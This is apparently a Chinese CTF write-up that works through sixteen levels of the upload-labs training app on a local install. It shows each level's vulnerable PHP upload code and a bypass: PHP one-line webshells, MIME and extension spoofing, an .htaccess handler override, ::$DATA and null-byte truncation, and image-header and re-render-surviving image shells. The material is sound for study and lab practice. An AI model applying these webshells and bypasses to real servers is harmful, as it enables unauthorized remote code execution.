CTF WriteUp uploads-lab之旅 Natro92 2023-03-12 2024-02-08 准备材料:
uploads-lab的搭建 uploads-lab下载为zip文件,并解压在phpstudy下的www文件夹内,注意将文件夹重命名为uploads-lab。 解压成功后访问 http://127.0.0.1/upload-labs 打开即可(PS:部分人burpsuite可能使用本机地址无法抓包,建议127.0.0.1修改为本机地址!)
Pass-01 任务:上传一个webshell
到服务器。 首先先尝试直接传一个一句话木马webshell.php
1 2 3 <?php eval (_POST[1 ]); ?>
上传失败,提示:该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php 查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile ( ) { var file = document.getElementsByName ('upload_file' )[0 ].value; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name + "|" ) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
f12查看源代码,发现把函数放在了前端
方法一 禁用js 直接浏览器禁用js 上传成功,用antsword测试连接,成功
方法二 修改文件后缀名为webshell.png
上传,打开burpsuite抓包: 将filename参数修改文件后缀.php
用antsword测试连接,成功
方法三(重要) 右键页面-查看网站源代码-全部复制下来-保存为html后缀文件,找到文件中的js代码,删除。删除代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile ( ) { var file = document.getElementsByName ('upload_file' )[0 ].value; if (file == null || file == "" ) { alert ("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring (file.lastIndexOf ("." )); if (allow_ext.indexOf (ext_name) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert (errMsg); return false ; } }
这时我们运行这个HTML文件,UI仍然会显示,但是由于我们已经删除了js函数,所以我们不知道要将文件传到哪里。 我们回到原网页,右键页面-检查-网络,上传文件,看到上传的图片的请求网址。(这一步用burpsuite也可以) 知道请求网址了就可以给html文件添加action了,action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个。 添加好之后重新运行html文件,再上传webshell.php
文件,直接就可以上传成功。
Pass-02 要求:上传一个webshell
到服务器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = $UPLOAD_ADDR .'文件夹不存在,请手工创建!' ; } }
解法 这一关是常见验证中的文件类型验证,也就是验证MIME信息,将webshell.php
改为webshell.png
,并上传,在burp抓包处修改文件名为webshell.php
,即可上传成功,antsword连接测试成功。
1 2 3 4 5 6 7 8 ------WebKitFormBoundary09G9BBRK49OTlzSH Content-Disposition: form-data; name="upload_file" ; filename="webshell.png" Content-Type: image/png <?php @eval ($_POST [1 ]); ?>
或者直接上传webshell.php
文件,因为检测的是Content-Type
参数,所以直接将其修改为image/jpeg
、image/png
、image/gif
三种之一即可。
Pass-03 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR .'/' . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次是屏蔽了所有的.asp
、.aspx
、.php
、.jsp
文件,但是黑名单定义不完全是可以绕过的可以用.phtml
、.phps
、.php5
、.pht
进行绕过。比如将文件名改为webshell.php5
上传。 但是要想上传后能执行,要在自己的apache
的httpd.conf
文件写入,在D:\你安装的位置\phpstudy_pro\Extensions\Apache2.4.39\conf
里写入:AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这样就成功传输和使用了。
注意 如果这样还是不行的话,就是php版本的问题,需要将Nts版本换为ts版本: https://www.cnblogs.com/Article-kelp/p/14927087.html
Pass-04 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . $_FILES ['upload_file' ]['name' ]; $is_upload = true ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这下禁止上传的文件类型有很多种,我们可以尝试传一个.htaccess
文件来把.png
文件解析为.php
类型
1 2 3 <FilesMatch "webshell.png" > SetHandler application/x-httpd-php </FilesMatch>
Pass-05 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 相比与第四关,第五关少了转换为小写的这一步骤,因此可以尝试修改为.Php
后缀上传,连接成功。
Pass-06 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次的代码和之前相比少了首尾去空,因此可以尝试在末尾加上空格,但是我们在本地是无法在末尾添加上空格的,所以需要在burpsuite抓包中修改上传的文件 这样就可以上传成功。
Pass-07 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次缺少了删除文件末尾的点,因此可以在文件末尾添加点来绕过,还是直接在bp中修改文件名并上传即可。
Pass-08 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次缺少了对字符串::$DATA
的检测,因此使用bp在文件末尾添加对应字符,连接成功。 查询之后发现:在window的时候如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名 例如:”phpinfo.php::$DATA
“Windows会自动去掉末尾的::$DATA
变成”phpinfo.php
“
Pass-09 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $_FILES ['upload_file' ]['name' ])) { $img_path = $UPLOAD_ADDR . '/' . $file_name ; $is_upload = true ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次发现把前面能用的几种方法全部堵死了。但是可以发现:php文件会先删除.,再删除空格。所以可以修改后缀为webshell.php. .
来绕过,经过处理之后变成webshell.php.
,这样就可以上传了。
Pass-10 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $UPLOAD_ADDR . '/' . $file_name )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; $is_upload = true ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 这次会对违规的部分直接移除,导致上传的php后缀文件后缀缺失。这种情况下,这种移除的情况都可以使用双写绕过,即修改为webshell.pphphp
上传,这样上传后的文件后缀就会修改为正常的.php
,可以正常连接。
Pass-11 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传失败!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
解法 这次是使用白名单过滤,而且
1 $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ;
所以可以使用%00的截断绕过,即: 先上传webshell.jpg
然后使用bp抓包,将save_path
参数修改为以下即可上传:
注意 php版本要小于5.3.4
修改php.ini
的magic_quotes_gpc
为OFF状态
Pass-12 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_POST ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
解法 与上一关相比,这次的save_path
参数是在POST
内的,但是在POST
中加%00
参数不行,因为会被解析为字符串,但肯定还是使用00
来截断,因此这道题需要修改hex
。 先上传webshell.jpg
文件,修改保存路径,并在末尾添加一个字符a
。 然后打开Burpsuite的Hex
模式,找到对应a
字符的hex值修改为00 也可以raw模式下选中a修改hex为00
Pass-13 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
解法 getReailFileType()
函数获取文件的最开始两个字节,来判断文件类型,因此可以使用图片文件欺骗来进行攻击。不同类型文件文件头标准编码是不同的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 JPEG (jpg),文件头:FF D8 FFPNG (png),文件头:89 50 4 E 47 【参考:png文件头详解】89 50 4 e 47 0 d 0 a 1 a 0 aGIF (gif),文件头:47 49 46 38 Windows Bitmap (bmp),文件头:42 4 D [参考:bmp文件格式详解]42 4 D 36 0 C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 python反编译文件pyc的头:03 F3 0 D 0 A (实验吧,py的交易会用到) pyd的文件头:4 D 5 A 90 00 ZIP Archive (zip),文件头:50 4 B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件 rar文件: 52 61 72 21 7 z文件头:37 7 A BC AF 27 1 C(实验吧,有趣的文件用到了)MS Word/Excel (xls.or .doc),文件头:D0CF11E0 CAD (dwg),文件头:41433130 Adobe Photoshop (psd),文件头:38425053 Rich Text Format (rtf),文件头:7 B5C727466 XML (xml),文件头:3 C3F786D6CHTML (html),文件头:68746 D6C3EEmail [thorough only] (eml),文件头:44656 C69766572792D646174653A Outlook Express (dbx),文件头:CFAD12FEC5FD746F Outlook (pst),文件头:2142444 EMS Access (mdb),文件头:5374616E64617264204 A WordPerfect (wpd),文件头:FF575043Postscript (eps.or .ps),文件头:252150532 D41646F6265Adobe Acrobat (pdf),文件头:255044462 D312E Quicken (qdf),文件头:AC9EBD8FWindows Password (pwl),文件头:E3828596 RAR Archive (rar),文件头:52617221 Wave (wav),文件头:57415645 AVI (avi),文件头:41564920 Real Audio (ram),文件头:2E7261 FD Real Media (rm),文件头:2E524 D46 MPEG (mpg),文件头:000001 BAMPEG (mpg),文件头:000001 B3Quicktime (mov),文件头:6 D6F6F76Windows Media (asf),文件头:3026 B2758E66CF11 MIDI (mid),文件头:4 D546864
因此,可以在文件前添加GIF89a
来迷惑文件检测 添加之后上传,上传成功,但是这时候文件后缀是.gif
格式,这道题要求的是上传图片马,因此到这里即可,我们可以测试一下是否可以使用。
测试 我们在本地创建一个include.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 <?php header ("Content-Type:text/html;charset=utf-8" );$file = $_GET ['file' ];if (isset ($file )){ include $file ; }else { show_source (__file__); } ?>
然后保存到upload-labs
的目录下即可(与upload文件夹同级),保存之后,用antsword连接http://你的ip/upload-labs/include.php?file=upload/文件名称
,如果可以连接则说明图片马上传成功。(注意,这道题上传的图片马会改名字,修改的名字在response传回时会显示)
Pass-14 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
解法 getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE
并产生一条 E_WARNING
级的错误信息。 但是也可以使用修改文件头标准编码绕过,所以用和Pass-13相同步骤即可绕过。
Pass-15 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = $UPLOAD_ADDR ."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传失败" ; } } }
解法 $image_type = exif_imagetype($filename);
exif_imagetype()
读取一个图像的第一个字节并检查其签名。 可以使用和前两题相同的操作来绕过。
注意 如果想要调用exif_imagetype()
这个函数需要系统配置文件开启php_exif模块,即php-ini
文件中搜索php_exif
将行前的分号删除(分号在这个文件中是注释的含义)。
Pass-16 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =$UPLOAD_ADDR .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagejpeg ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagepng ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )) { $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $newimagepath = $UPLOAD_ADDR .$newfilename ; imagegif ($im ,$newimagepath ); $img_path = $UPLOAD_ADDR .$newfilename ; unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传失败!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
方法一 这道题使用的是图片二次渲染:$im = imagecreatefromjpeg($target_path);
该函数接受单个参数$filename
,该参数保存图像的名称。返回值:成功时此函数返回图像资源标识符,错误时返回FALSE
。 首先先上传一个基础图片,上传之后得到的图片下载下来(拖出来),然后准备一个一句话木马文件制 作图片马:
1 copy two-pass_rendering.jpg /b + webshell.php /a muma.jpg
其中/b代表二进制文件binary,放在图片后面,/a代表文字文件ascii 生成之后上传,测试连接,但是发现无法连接,把图片用文本形式打开后发现php语句格式前面有缺失(缺少了<
),所以在webshell文件前面随便加上一点字符。 重新合成,发现这次格式不缺失了,但是这样传上去之后还是不行,查阅资料发现,.jpg
文件和.gif
不同,前者渲染的方式和后者渲染的方式不同,因此选择gif文件的操作难度更低。 相同步骤重新操作gif文件,合成之后上传,连接发现成功。
方法二 先上传一个png图片,得到二次渲染后的图片,用010编辑器打开,对比两个文件二进制编码: 红色的是不同的,白色的是相同的,因此可以将一句话木马写在白色位置: 然后上传连接
方法三(尝试) 可以上传一png结尾的 jpg图片
png jpg 图片马制作 如果想使用.png
文件可以使用以下代码生成图片:(这个代码好像在php8版本会报错)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); } imagepng ($img ,'./1.png' );?>
生成之后得到的一句话木马为:
1 <?= $_GET [0 ]($_POST [1 ]);?>
可以如下使用: 如果想使用jpg
文件使用以下代码:(但是由于jpg文件容易损坏,因此可能需要多次生成)
